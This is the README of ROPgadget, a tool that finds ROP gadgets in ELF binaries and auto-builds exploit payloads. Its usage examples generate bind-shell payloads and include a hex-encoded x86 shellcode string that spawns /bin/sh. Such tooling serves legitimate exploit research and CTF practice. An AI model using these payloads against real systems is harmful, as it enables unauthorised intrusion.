ROPgadget

This tool lets you search your gadgets on your binaries (ELF format) to facilitate your ROP exploitation. Since version 3.0, ROPgadget has a auto-roper for build your payload automatically with the gadgets found.

• Web Site

Installation

git clone git@github.com:JonathanSalwan/ROPgadget.git
cd ./ROPgadget
make
su
make install

Usage

Syntax

./ROPgadget <option> <binary> [FLAGS]

Options

• -d Dump Hexadecimal
• -g Search gadgets add make payload
• -v Version

Flags

• -bind Set this flag for make a bind shellcode (optional) (Default local exploit)
• -port <port> Set a listen port, optional (Default 1337)
• -importsc <shellcode> Make payload and convert your shellcode in ROP payload
• -filter <word> Word filter (research slowed)
• -only <keyword> Keyword research (research slowed)
• -opcode <opcode> Search a specific opcode on exec segment
• -asm <instructions> Search a specific instructions on exec segment
• -elfheader Display ELF Header before searching gadgets
• -progheader Display Program Header before searching gadgets
• -sectheader Display Section Header before searching gadgets

Ex

./ROPgadget -g ./smashme.bin -bind -port 8080
./ROPgadget -g ./smashme.bin -importsc "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
./ROPgadget -g ./smashme.bin -filter "add %eax" -filter "dec" -bind -port 8080
./ROPgadget -g ./smashme.bin -only "pop" -filter "eax"
./ROPgadget -g ./smashme.bin -opcode "\xcd\x80"
./ROPgadget -g ./smashme.bin -asm "xor %eax,%eax ; ret"
./ROPgadget -g ./smashme.bin -asm "int \$0x80"